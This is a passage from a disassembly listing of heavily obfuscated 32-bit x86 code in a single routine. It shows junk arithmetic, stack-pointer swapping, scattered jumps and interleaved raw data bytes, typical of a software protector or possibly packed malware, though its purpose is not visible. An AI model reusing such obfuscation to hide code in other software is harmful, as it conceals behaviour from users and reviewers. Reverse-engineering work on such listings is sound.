0E954FFFFh, 0FFFF5FA0h, 0C7E9DBF6h dd 0B8FFFF6Ah, 6DDB0414h, 5FEBF57h, 0DFF72B72h, 0F781DFF7h dd 3D2B414Fh, 1151EF81h, 142D9BE7h, 118B97Fh, 0AE1DE9F8h dd 248BFFFFh, 2CD36624h, 21E99C24h, 0BDFFFF33h, 28FD079Ah dd 0FFA3F1E9h, 7EEE81FFh, 8118941Dh, 2D587FC6h, 81DE014Ch dd 2D587FEEh, 7EC6814Ch, 5B18941Dh, 8702C683h, 248B2434h dd 243CD224h, 32EAE99Ch, 6852FFFFh, 894h, 0FFF29FE9h db 0FFh ; --------------------------------------------------------------------------- loc_56026D: ; CODE XREF: sub_542C3C+245CEj add esp, 4 push edx push 6F0972D4h pop edx shl edx, 8 push 3589h mov [esp+0C2h+var_C2], edx not [esp+0C2h+var_C2] mov edx, [esp+0C2h+var_C2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0C6h+var_C6] pop esp shr edx, 7 jmp loc_56045C ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FFA74BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5602A9: ; CODE XREF: sub_542C3C+135A3j sub esi, ebp pop ebp mov edx, [esp] add esp, 4 xchg esi, [esp+9Ah+var_9C+2] mov esp, [esp+9Ah+var_9C+2] push esi push edi push edx push edi push 692723A2h pop edi inc edi sub edi, 32A54E06h add edi, 1 xor edi, 3ED2B1D4h jmp loc_56225B ; --------------------------------------------------------------------------- dw 815Fh dd 4ECh, 0E686E900h, 0F101FFFFh, 34F8E9h, 242C8B00h, 0F819E955h dd 0E5D1FFFFh, 3A9C581h, 0E901D2A5h, 81C1015Dh, 0F27727E9h dd 9D6E97Dh, 0C4830000h, 3DE2E904h, 4890000h, 24348124h dd 45844D5Ah, 5AF3815Bh, 8B45844Dh, 0B7E92404h, 0E9000069h dd 0FFFF3218h ; --------------------------------------------------------------------------- loc_560334: ; CODE XREF: sub_542C3C+117B6j pop ebx add edi, 4 xchg edi, [esp+8Ch+var_8C] jmp loc_565AE0 ; --------------------------------------------------------------------------- dd 4C181h, 0E9570000h, 4661h ; --------------------------------------------------------------------------- loc_56034C: ; CODE XREF: sub_542C3C+12F4Dj push ebx push ebp push 623F6CCEh pop ebp jmp loc_55FBC7 ; --------------------------------------------------------------------------- db 5Ah, 0F7h, 0D8h aVV db 'V¾v$',0 db 33h, 81h, 0E6h dd 8901409h, 4EEC146h, 0F705E6C1h, 2EE81D6h, 0E9A11181h dd 0FFFF4F53h ; --------------------------------------------------------------------------- loc_56037C: ; CODE XREF: sub_542C3C+18FF7j add dl, 40h add dl, cl sub dl, 40h mov ecx, [esp+7Ch+var_7C] add esp, 4 jmp loc_5553A9 ; --------------------------------------------------------------------------- loc_56038F: ; CODE XREF: sub_542C3C+12D59j mov [esp+0A6h+var_A6], ecx push ebx jmp loc_5570C4 ; --------------------------------------------------------------------------- dd 0D900F0B3h, 80D1285Bh, 5A66F0E9h, 8002E9C0h, 0CF880AC1h dd 51240C8Bh, 0C181E189h, 4, 8704E983h, 895C240Ch, 83E9240Ch dd 0AC000024h, 5457D830h, 81243C8Bh, 4C4h, 4C78100h, 81000000h dd 2EFh, 243C8700h, 0FF794EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5603E9: ; CODE XREF: sub_542C3C+249EBj xchg ebp, [esp+0AAh+var_AA] jmp loc_557DE2 ; --------------------------------------------------------------------------- loc_5603F1: ; CODE XREF: sub_542C3C+16F66j pop ecx add ecx, 614A1BB2h jmp loc_55F8BA ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B4240489h, 1EA7E91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_56040A: ; CODE XREF: sub_542C3C+1F465j mov ecx, [esp+38h+var_38] add esp, 4 add esi, 475835E2h and esi, 74B527C5h sub esi, 0A2A074Ah sub esi, 660A1D37h add eax, 7D282B8Eh add eax, esi sub eax, 7D282B8Eh mov esi, [esp+34h+var_34] push esi jmp loc_55E607 ; --------------------------------------------------------------------------- loc_56043D: ; CODE XREF: sub_542C3C+162B3j sub edx, ebp pop ebp shl edx, 3 push esi mov esi, 2D3306C2h push ecx mov ecx, 477C1E9Dh xor ecx, 159E051Fh not ecx jmp loc_555E30 ; --------------------------------------------------------------------------- loc_56045C: ; CODE XREF: sub_542C3C+1D660j push ebx mov ebx, 6F347B87h xor edx, ebx pop ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_560663 ; --------------------------------------------------------------------------- db 0E9h, 0CEh, 30h dd 0C580FFFFh, 59EC2097h, 80D9F480h, 0E330FDECh, 0FFC4B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_560491: ; CODE XREF: sub_542C3C+1D31Ej not edx or edx, 3B12F8Bh xor edx, 0D33F98A0h jmp loc_567AFC ; --------------------------------------------------------------------------- loc_5604A4: ; CODE XREF: sub_542C3C+25760j pop ecx push dword ptr [edi+1Ch] push esi mov esi, 19124FDAh add [esp+60h+var_5C], esi mov esi, [esp+60h+var_60] add esp, 4 push [esp+5Ch+var_5C] pop ecx jmp loc_55EF05 ; --------------------------------------------------------------------------- db 81h, 0C7h, 37h dd 17E485Fh, 37EF81F7h, 5E7E485Fh, 5C243C87h, 2404A30Fh dd 306EE99Ch, 0E0C1FFFFh, 21BE5606h, 0F720F364h, 0BF5746DEh dd 4FD73EA7h, 4EC2EF81h, 0EF810523h, 0B3EBDABAh, 3C8BFE29h dd 4C48324h, 348BF029h, 635DE924h, 4870000h, 79DDE924h dd 348BFFFFh, 4C48324h, 895BD801h, 6DFAE9C3h, 5BB4FFFFh dd 8096B551h, 45E9EEC5h, 83FFFF6Eh, 0CB2D04C4h, 515C4F02h dd 0CE89C189h, 2C8B5859h, 4C48124h, 29000000h, 2434FFF2h dd 4C4835Eh, 8904EC83h, 74FF2414h, 148B0424h, 4C48124h dd 8F000000h, 248B2404h, 240C8924h, 0D5E9008Fh db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560577: ; CODE XREF: sub_542C3C+13887j xor al, bl mov ebx, [esp+88h+var_88] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+8Ch+var_8C] pop esp jmp loc_555990 ; --------------------------------------------------------------------------- aUSB db '³u(Øé,b',0 db 0 ; --------------------------------------------------------------------------- loc_56059B: ; CODE XREF: sub_542C3C+2511Fj push [esp+88h+var_88] pop ebp add esp, 4 add ecx, 4 push ecx push [esp+88h+var_84] jmp loc_55C7DD ; --------------------------------------------------------------------------- loc_5605B2: ; CODE XREF: sub_542C3C+1BF47j push ebx mov ebx, 4 add edx, ebx pop ebx add edx, 4 push edx push [esp+80h+var_7C] pop edx pop [esp+80h+var_80] pop esp sub ebp, 244F3552h sub esp, 4 mov [esp+7Ch+var_7C], esi jmp loc_55BC38 ; --------------------------------------------------------------------------- db 1 dd 5E17E9C6h, 34FFFFFFh, 0D205E924h, 55ADFFFFh, 1ED368h dd 24148900h, 2DE5BAh, 0E9535672h, 2A19h, 0FF2434FFh, 81582434h dd 4C4h, 76A2E900h, 2C5AFFFFh, 51F8000Fh, 0C0E920B5h, 0BDFFFFE7h dd 0B1D1A92Dh, 295DEF01h, 14335FFAh, 24143124h, 8B241433h dd 2C892424h, 74FF5324h, 8F5B0424h, 70E92404h, 0B6FFFFD9h dd 6E6C004h, 0FE97E680h, 0C2CE80CEh, 8090C680h, 73E91DEEh db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560663: ; CODE XREF: sub_542C3C+1D838j xchg ebp, [esp+0C6h+var_C6] pop esp mov [esp+0C2h+var_C2], ebx jmp loc_557B47 ; --------------------------------------------------------------------------- db 68h dd 14E1h, 66241489h, 0E919C168h, 0FFFF5A88h, 240C8B66h dd 4EC81h, 2C890000h, 81E58924h, 4C5h, 4E5BE900h, 55BFFFFh dd 4, 5C240487h, 4BF57h, 0F8010000h, 0FF7557E9h db 0FFh ; --------------------------------------------------------------------------- loc_5606B1: ; CODE XREF: sub_542C3C+118C2j push ebx push 16047163h pop ebx jmp loc_56588F ; --------------------------------------------------------------------------- loc_5606BD: ; CODE XREF: sub_542C3C+15E5Ej sub cl, 85h sub al, cl pop ecx sub esp, 4 mov [esp+8Eh+var_90+2], edx push eax mov al, 0DAh xor al, dh xor dh, al xor al, dh inc dh push ebx push ecx mov cl, dh mov bl, cl jmp loc_567F11 ; --------------------------------------------------------------------------- loc_5606E2: ; CODE XREF: sub_542C3C+1D563j push ebx mov ebx, 4E2A459Ch push eax jmp loc_55F6A1 ; --------------------------------------------------------------------------- dw 0EE81h dd 2B154DC8h, 0A7E9F729h, 8100001Ch, 882947F1h, 7E1C146h dd 0FF93C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_560709: ; CODE XREF: sub_542C3C+1C288j not esi inc esi jmp loc_567D49 ; --------------------------------------------------------------------------- db 51h, 0B5h, 3Ah dd 5059EF00h, 0C730F4B0h, 0E9F83058h, 39Dh ; --------------------------------------------------------------------------- loc_560724: ; CODE XREF: sub_542C3C+20620j xor esi, 38E15DE2h xor edx, esi pop esi or edx, 63CF2863h push 6320h jmp loc_565DA8 ; --------------------------------------------------------------------------- loc_56073D: ; CODE XREF: sub_542C3C+15D5Bj xchg ebp, [esp+8Ch+var_8C] pop esp push 4B15h jmp loc_55A077 ; --------------------------------------------------------------------------- db 1 dd 0C875EF1h, 24248B24h, 51C8BE0Fh, 433FE9h db 0 ; --------------------------------------------------------------------------- loc_56075D: ; CODE XREF: sub_542C3C+22A3Dj mov [esp+8Ch+var_8C], ecx push ebx mov ebx, 7B390815h or ebx, 375458F8h inc ebx not ebx xor ebx, 22A8724Dh shr ebx, 7 sub ebx, 0ED6A0072h mov ecx, ebx jmp loc_559341 ; --------------------------------------------------------------------------- loc_560785: ; CODE XREF: sub_542C3C+2226Aj add eax, 4 add eax, 4 xchg eax, [esp+90h+var_90] mov esp, [esp+90h+var_90] add esp, 4 push 1D3Dh mov [esp+90h+var_90], esi push edi push edx mov edx, 34790AB6h mov edi, 0CB8AF54Ah add edi, edx pop edx mov esi, edi push [esp+94h+var_94] mov edi, [esp+98h+var_98] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_55514F ; --------------------------------------------------------------------------- a1Su2 db '1<$éU2',0 align 10h loc_5607D0: ; CODE XREF: sub_542C3C+23E9Aj push ecx mov ecx, 0CE713DEh add eax, ecx jmp loc_567BDF ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0C1h db 0E0h, 7 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0A0h+var_A2+2] jmp loc_55955C ; --------------------------------------------------------------------------- loc_5607F6: ; CODE XREF: sub_542C3C+14108j sub esp, 4 mov [esp+8Ch+var_8C], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8Ch+var_8C] pop esp mov eax, ebp jmp loc_5548C6 ; --------------------------------------------------------------------------- dw 0A7B9h dd 29499857h, 6E959CAh, 0C1000038h, 822504E8h, 0F7076A77h dd 51D8F7D8h, 0FE1F0FB9h, 48D4E97Ah, 2C87FFFFh, 24248B24h dd 55240C89h, 0CA4D16BDh, 1ED8169h, 0E9000000h, 4A9Fh dd 5104C183h, 42474FFh, 1F96E9h, 31E9AC00h, 47FFFFA4h dd 8904EC83h, 25B82404h, 352B0822h, 4AD203E7h, 37BDAA2Dh dd 0E9C73111h, 7029h, 81665966h, 668B52C1h, 2244481h, 1660CBBh dd 6602244Ch, 2246C81h, 56E90CBBh, 5FFFF5Ah, 4, 4B951h dd 0C8010000h, 24048759h, 7EDBE9h, 243C3100h, 70BE9h, 92E95A00h dd 8BFFFF8Eh, 8DE9240Ch, 52FFFFF5h, 24F0E954h, 0EC830000h dd 243C8904h, 0FF6297E9h, 0E9D1F6FFh, 0FFFFE1E2h, 243C895Ch dd 2BFh, 0E9F80100h, 1F71h ; --------------------------------------------------------------------------- loc_5608F4: ; CODE XREF: sub_542C3C+226E7j sub ebp, edx pop edx jmp loc_5569C4 ; --------------------------------------------------------------------------- loc_5608FC: ; CODE XREF: sub_542C3C+1C1BBj xor ebp, 0E5345BBh xor ebp, 0E170883Fh add ecx, ebp pop ebp sub ecx, 4 xchg ecx, [esp+0A2h+var_A2] pop esp mov [esp], esi push [esp+9Eh+var_9C+2] pop esi pop dword ptr [esp] mov esp, [esp+9Ah+var_9C+2] add esp, 4 xor eax, 0EAD2045h push 2B9Ah mov [esp+9Ah+var_9C+2], eax jmp loc_564B47 ; --------------------------------------------------------------------------- loc_560938: ; CODE XREF: sub_542C3C+1514Dj sub esi, 4 jmp loc_55896C ; --------------------------------------------------------------------------- db 5 dd 4, 5004C083h, 42474FFh, 0DA57E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560956: ; CODE XREF: sub_542C3C+141FDj push 7D74h mov [esp+8Ch+var_8C], ecx push esi push 6DA03AB1h push [esp+94h+var_94] pop esi add esp, 4 xor esi, 75C541BAh add esi, 0E79A84F9h mov ecx, esi mov esi, [esp+90h+var_90] jmp loc_560EBB ; --------------------------------------------------------------------------- dd 5DEB315Dh, 0E95BDA31h, 0FFFF56D6h, 0BD242C89h, 55306D89h dd 2D5CED81h, 0F5814E2Bh, 49AB36F1h, 4EC81h, 3C890000h dd 648CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5609B2: ; CODE XREF: sub_542C3C+1A381j pop ebx shl eax, cl jmp loc_5576E1 ; --------------------------------------------------------------------------- dw 8DE9h dd 5EFFFF2Bh, 4C481h, 0E9570000h, 0FFFFF3C9h, 0A6E9D530h db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5609D3: ; CODE XREF: sub_542C3C+199DAj add [esp+60h+var_5C], eax add [esp+60h+var_5C], 9080C3Bh jmp loc_5658AB ; --------------------------------------------------------------------------- loc_5609E4: ; CODE XREF: sub_542C3C+2010Bj push [esp+60h+var_60] pop esi jmp loc_558AD1 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFF6E40h, 8755EB87h, 0D6F72434h, 0FFBA79E9h dd 243C8BFFh, 4C481h, 71E90000h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560A13: ; CODE XREF: sub_542C3C+198DDj mov bh, al mov cl, bh pop ebx mov dl, cl pop ecx mov eax, [esp+7Ah+var_7C+2] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_557B36 ; --------------------------------------------------------------------------- db 59h, 83h, 0C4h dd 81D70104h, 5D69A8C7h, 2434FF60h, 49B9E9h, 4C48100h dd 0E9000000h, 0FFFF3669h, 10C6814Eh, 31F5707Dh, 0EA895EF5h dd 0FF70A1E9h, 6FC205FFh, 53561B44h, 0FFA091E9h, 4BB53FFh dd 1000000h, 5B04245Ch, 6ACE9h, 4C68100h, 0E9000000h, 3003h dd 0FEF9EA80h, 0F65266C2h, 5A66241Ch, 5494E9h, 3889BF00h dd 0BD5507F5h, 78E63A55h, 0FF50F7E9h, 0F3F381FFh, 1631560h dd 8B3AE9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560AB6: ; CODE XREF: sub_542C3C+11A81j add ecx, ebx pop ebx sub ecx, 4 jmp loc_55AAC7 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 368768h, 24148900h, 24148B54h, 4C481h, 0E9510000h, 5BBCh ; --------------------------------------------------------------------------- loc_560ADC: ; CODE XREF: sub_542C3C+1D144j pop ebp push 4F85h mov [esp+74h+var_74], ebp mov ebp, 96487Bh neg ebp push edx jmp loc_565BAB ; --------------------------------------------------------------------------- dw 0FF56h dd 8B042474h, 0C4812434h, 4, 5C24048Fh, 1313BE56h, 0C68170E9h dd 0B2B7032h, 0FFEB19E9h, 242489FFh, 4240483h, 2CE9515Ah dd 8700002Eh, 81DDF7F5h, 69534BC5h, 0D1C58127h, 19EDE03h dd 0C5815DEAh, 45792BD1h, 0DFE9D501h, 8BFFFF2Dh, 0E956240Ch dd 405h, 0BE1DADBEh, 7EEC106h, 0FF7924E9h, 0BEE95EFFh db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560B5F: ; CODE XREF: sub_542C3C+1F2F0j pop ecx sub al, 95h push [esp+74h+var_74] pop ecx add esp, 4 sub esp, 4 mov [esp+74h+var_74], ecx push esp pop ecx push edi mov edi, 60585F76h shl edi, 2 and edi, 6CC7713Fh dec edi jmp loc_55D667 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0BC3C15B9h, 732FE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B96: ; CODE XREF: sub_542C3C+1FB4Aj sub bl, 37h xor bl, 7Dh add bl, 40h mov ch, bl pop ebx push edx mov dh, 95h add al, 6 add al, dh jmp loc_55FF82 ; --------------------------------------------------------------------------- dw 0A1B3h dd 28BFF380h, 241C8BD8h, 4EC81h, 4890000h, 98CDE924h, 48FFFFFh dd 24248B24h, 9C2424D2h, 0FF2977E9h db 0FFh ; --------------------------------------------------------------------------- loc_560BD5: ; CODE XREF: sub_542C3C+130C6j mov eax, 2 sub ecx, eax jmp loc_564F2E ; --------------------------------------------------------------------------- loc_560BE1: ; CODE XREF: sub_542C3C+12D46j add ebx, eax push esi mov esi, 233F5165h jmp loc_567EDD ; --------------------------------------------------------------------------- loc_560BEE: ; CODE XREF: sub_542C3C+13D75j push ecx jmp loc_564F00 ; --------------------------------------------------------------------------- loc_560BF4: ; CODE XREF: sub_542C3C+11685j dec esi jmp loc_554260 ; --------------------------------------------------------------------------- dd offset dword_40E504+164h dw 8900h dd 0CEBF243Ch, 0BE5F3517h, 13965BA2h, 0E903EEC1h, 0FFFFCC8Fh dd 6554E958h, 0E9580000h, 0FFFF3FD6h, 6604C483h, 571B6B05h dd 3095BF66h, 56EF8166h, 0E6AE94Ah, 0E3890000h, 4B951h dd 0C3810000h, 1BB637B3h, 0EB81CB01h, 1BB637B3h, 4EB8359h dd 5C241C87h, 50242489h, 6A5BE9h, 0EEEE8000h, 0F000792Ch dd 285A7904h, 51982CD8h, 0EDC0B4B5h, 0F6E58602h, 80E586DCh dd 0E5C073F5h, 0D5ED8006h, 459E800h, 1C8B6642h, 2C48324h dd 8904EC83h, 0AAB7241Ch, 2C5BF800h, 52D800A3h, 0E9E9B151h dd 5529h ; --------------------------------------------------------------------------- loc_560CA4: ; CODE XREF: sub_542C3C+12EC8j sub edx, 2156166Bh jmp loc_55BBCB ; --------------------------------------------------------------------------- db 83h dd 0EC8104C4h, 4, 0F7242C89h, 4DE92414h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560CC3: ; CODE XREF: sub_542C3C+12EE8j mov ecx, 0CBA5CAF6h add ebx, ecx pop ecx add edx, 235A4D19h sub edx, ebx sub edx, 235A4D19h pop ebx add ebx, edx mov edx, [esp+0B6h+var_B6] jmp loc_553725 ; --------------------------------------------------------------------------- dd 4C18358h, 2474FF51h, 0B6E95904h, 8100005Bh, 42404h dd 0C8B0000h, 4C48324h, 4C181h, 45E90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D0B: ; CODE XREF: sub_542C3C+217E4j mov esp, [esp+0B6h+var_B6] xor [esp+0B6h+var_B6], eax jmp loc_55354C ; --------------------------------------------------------------------------- loc_560D16: ; CODE XREF: sub_542C3C+219EEj push ecx jmp loc_55B5DD ; --------------------------------------------------------------------------- dd 0E9240C89h, 7328h, 33241431h, 248B2414h, 2434FF24h dd 0E92434FFh, 0FFFF831Ch, 2886F780h, 525B5BF8h, 0FFDD8BE9h dd 56C68FFh, 24890000h, 24048324h, 2434FF04h, 4FD6685Fh dd 0C890000h, 57E18924h, 4BFh, 61A4E900h, 14890000h, 27DAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D72: ; CODE XREF: sub_542C3C+15469j add esp, 4 shl edx, 5 not edx inc edx push ebx mov ebx, 95FF649Fh sub edx, ebx pop ebx mov esi, edx mov edx, [esp+3Ch+var_3C] push eax jmp loc_561E46 ; --------------------------------------------------------------------------- db 5Ch dd 9C240CFFh, 3392E9h db 0 ; --------------------------------------------------------------------------- loc_560D99: ; CODE XREF: sub_542C3C+24F70j sub esp, 4 mov [esp+44h+var_44], ecx push edx push 5CB5349h pop edx jmp loc_566175 ; --------------------------------------------------------------------------- loc_560DAE: ; CODE XREF: sub_542C3C+172A2j and ecx, 30E27FC0h jmp loc_55AD9F ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4BB241Ch, 53000000h, 2434FF5Ah, 4C4815Bh dd 56000000h, 0F2BB7BEh, 3EEC159h, 17F68146h, 29702DCDh dd 0D3015EF3h, 0E904EC83h, 0FFFFF081h, 0E92434FFh, 5ECEh ; --------------------------------------------------------------------------- loc_560DF8: ; CODE XREF: sub_542C3C+1EEE2j xor ebx, 0AF42C38h and eax, ebx push [esp+68h+var_68] jmp loc_556F71 ; --------------------------------------------------------------------------- dd 5359C801h, 4BBh, 5BD82900h, 0E9240487h, 438Bh, 0BF68515Ch dd 89000047h, 0B2522404h, 0EBB9E98Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560E2E: ; CODE XREF: sub_542C3C+12614j add esi, 5ACE57B0h jmp loc_563261 ; --------------------------------------------------------------------------- loc_560E39: ; CODE XREF: sub_542C3C+1D03Bj add esi, 4 jmp loc_565DEF ; --------------------------------------------------------------------------- db 66h, 5Bh, 0E9h dd 0FFFFA1CBh, 752C281h, 0D1299CC8h, 81F9015Ah, 0BB00F4C1h dd 0EC835F26h, 24148904h, 268h, 24148B00h, 0FF54C3E9h dd 24348BFFh, 0E904C483h, 0FFFFC59Fh, 6FA989BFh, 5FFE89B6h dd 8959CE29h, 34685EF7h, 89000058h, 45BB241Ch, 91A2468h dd 2434FFDFh, 4C4835Bh, 0D36EF81h, 0F781470Ah, 755F76C2h dd 3B10E94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560EAE: ; CODE XREF: sub_542C3C+122C3j sub edx, 6423299Ah add edx, ebx jmp loc_564A7B ; --------------------------------------------------------------------------- loc_560EBB: ; CODE XREF: sub_542C3C+1DD43j add esp, 4 add eax, ecx pop ecx xchg eax, [esp+88h+var_88] pop esp shr ecx, 0 or eax, eax jz loc_567085 push ecx jmp loc_553F9E ; --------------------------------------------------------------------------- db 0F6h, 54h, 24h dd 0EC815B01h, 4, 88240C89h, 52D1F6F9h, 0F788CE88h, 0FF404EE9h dd 0ED815EFFh, 4, 0FF2900E9h db 0FFh ; --------------------------------------------------------------------------- loc_560F01: ; CODE XREF: sub_542C3C+1CD07j push 1Ch push [esp+58h+var_58] jmp loc_5626A7 ; --------------------------------------------------------------------------- dw 815Eh dd 4C6h, 4BA5200h, 1000000h, 34875AD6h, 0EC835C24h, 24348904h dd 30A6E953h, 8B660000h, 96E9240Ch, 0B9FFFFC0h, 9A7C4E46h dd 4DE9CD29h, 54FFFFC2h, 2A86E9h, 2434FF00h, 47A9E9h, 53E68900h dd 187E39BBh, 3DF3811Eh, 11E187Eh, 50535BDEh, 607FC868h dd 0C341E96Ah, 505BFFFFh, 0C588F088h, 0E9535A58h, 0FFFFB85Bh dd 6D487905h, 24348B62h, 5604C483h, 416CC5BEh, 0A6F68102h dd 5617AC8h, 107958D8h, 0FF3EF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_560F9D: ; CODE XREF: sub_542C3C+225DEj shl ebp, 8 push edx jmp loc_558C10 ; --------------------------------------------------------------------------- aNsc db 'éæ%',0 align 4 loc_560FAC: ; CODE XREF: sub_542C3C+1A18Ej mov ecx, [esp+7Ch+var_7C] add esp, 4 jmp loc_55F076 ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0E9520000h, 0FFFFD04Eh, 3C87D7F7h, 0EB815B24h dd 0CB22CCA5h, 3D4FE9h, 48B6600h, 0DE95224h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560FE3: ; CODE XREF: sub_542C3C+14AABj mov edi, 1 push ebx jmp loc_55AC55 ; --------------------------------------------------------------------------- dw 0DE88h dd 0FFFF79E9h, 0F23159FFh, 0E924348Bh, 0FFFF2A83h, 0E9EF8966h dd 0FFFFBA22h, 5C24048Fh, 54243C89h, 4EC815Fh, 89000000h dd 7CE9241Ch db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56101F: ; CODE XREF: sub_542C3C+15E69j jz loc_559AF4 push dword ptr [edi+1Ch] push [esp+8Ah+var_8C+2] push [esp+8Eh+var_90+2] pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_557BE0 ; --------------------------------------------------------------------------- db 5Fh, 8Fh, 4 dd 24248B24h, 6824048Bh, 2D22h, 81241489h, 4ECh, 24248900h dd 4240481h, 0E9000000h, 0BE0h ; --------------------------------------------------------------------------- loc_561064: ; CODE XREF: sub_542C3C+119DBj pop edx sub esi, 4 jmp loc_562D8B ; --------------------------------------------------------------------------- dd 155FF281h, 814A1448h, 627403CAh, 0F7D2F762h, 37EA81D2h dd 8950AE5Bh, 9F53E9D1h, 34FFFFFFh, 240C8B24h, 0FFCDA4E9h dd 81E389FFh, 4C3h, 53CEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610A6: ; CODE XREF: sub_542C3C+210C5j pop bx jmp loc_562E35 ; --------------------------------------------------------------------------- loc_5610AD: ; CODE XREF: sub_542C3C+14886j add [edx+30h], ecx push [esp+84h+var_84] jmp loc_557DE8 ; --------------------------------------------------------------------------- loc_5610B8: ; CODE XREF: sub_542C3C+11867j xor ecx, [esp+78h+var_78] xor [esp+78h+var_78], ecx xor ecx, [esp+78h+var_78] pop esp xor ebx, eax jmp loc_565B4D ; --------------------------------------------------------------------------- db 1, 0F9h, 81h dd 365CDFC1h, 86C1811Dh, 8B5C2978h, 0C6E9243Ch, 8300005Bh dd 48704C0h, 24248B24h, 0FF6E69E9h db 0FFh ; --------------------------------------------------------------------------- loc_5610ED: ; CODE XREF: sub_542C3C+1E594j shl edi, 6 sub edi, 27FEAF3Ch add ebx, edi pop edi xchg ebx, [esp+70h+var_70] pop esp pop [esp+6Ch+var_6C] push esi jmp loc_565750 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B8240489h, 0D586950h, 2D05E8C1h, 1E983CCAh, 7967A72Dh dd 58C10993h, 0FFC41AE9h, 0BF575AFFh, 5172BFEh, 0C104EFC1h dd 2DE902EFh, 8F000043h, 248B2404h, 2434FF24h, 6824048Bh dd 79E2h, 54241C89h, 25B8505Bh, 51A9865h, 64B35719h, 4BBC3A2Dh dd 0F9C3817Fh, 1761520h, 0F9EB81C3h, 8B761520h, 0EDE92404h dd 2D000009h, 7EFD23E2h, 0FF2B32E9h, 835E5AFFh, 0C8904ECh dd 0F7E95024h, 57000055h, 20E9E789h, 50FFFFECh, 310AC2B8h dd 0C93DE92Eh, 31ADFFFFh, 4EC83D8h, 51241489h, 0FF8C62E9h dd 0DEE959FFh, 87FFFF8Ah, 0EAE92434h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5611BF: ; CODE XREF: sub_542C3C+2098Bj mov edi, 5FD56842h shr edi, 4 or edi, 4BAD1808h shr edi, 7 jmp loc_5610ED ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 29E95804h, 53FFFFFEh, 42474FFh, 24048F5Bh, 0FF8709E9h db 0FFh ; --------------------------------------------------------------------------- loc_5611ED: ; CODE XREF: sub_542C3C+13FF2j push ebx mov ebx, 56066D1Bh sub [esp+84h+var_80], 64C3683Ah push 5546h jmp loc_55D908 ; --------------------------------------------------------------------------- loc_561205: ; CODE XREF: sub_542C3C+10C68j inc ebx add ebx, 0EA752064h jmp loc_55475D ; --------------------------------------------------------------------------- db 59h, 1, 0D6h dd 647C681h, 91E967ADh, 58FFFFEAh, 0E4E9CF88h, 5BFFFFE9h dd 0E9240C33h, 0FFFFB2EEh, 31243C33h, 3C33243Ch, 0C4835C24h dd 40504h, 89560000h, 4C681E6h, 83000000h, 64E904EEh, 81FFFFFFh dd 3722CBC7h, 4C7816Dh, 11FA11Bh, 4EF81D7h, 811FA11Bh dd 3722CBEFh, 0DEE95A6Dh, 81FFFFC2h, 0A50A53EFh, 22C78155h dd 16BF930h, 22EF81F7h, 686BF930h, 29A9h, 0B8240489h, 55A50A53h dd 0E958C701h, 0FFFF5585h, 3EE9E289h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5612A3: ; CODE XREF: sub_542C3C+1A601j add ebp, esi mov esi, [esp+94h+var_94] add esp, 4 add ebp, 4 xor ebp, [esp+90h+var_90] xor [esp+90h+var_90], ebp xor ebp, [esp+90h+var_90] mov esp, [esp+90h+var_90] or edx, eax jmp loc_561DB8 ; --------------------------------------------------------------------------- loc_5612C1: ; CODE XREF: sub_542C3C+21F8Aj add esp, 4 shr eax, 18h xor eax, ecx jmp loc_5617D3 ; --------------------------------------------------------------------------- loc_5612CE: ; CODE XREF: sub_542C3C+1F3CDj xor edi, esi mov esi, [esp+8Ch+var_8C] add esp, 4 push 5BA8h mov [esp+8Ch+var_8C], edx mov edx, edi mov ebp, edx mov edx, [esp+8Ch+var_8C] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+90h+var_90] pop esp push [esp+8Ch+var_8C] pop edi add esp, 4 and ecx, ebp push [esp+88h+var_88] jmp loc_563559 ; --------------------------------------------------------------------------- dd 76042Dh, 7251Bh, 0BF573B39h, 1, 0FF538FE9h, 24248BFFh dd 0FF2223E9h db 0FFh ; --------------------------------------------------------------------------- loc_561329: ; CODE XREF: sub_542C3C+12C37j or ebx, edx pop edx jmp loc_55F923 ; 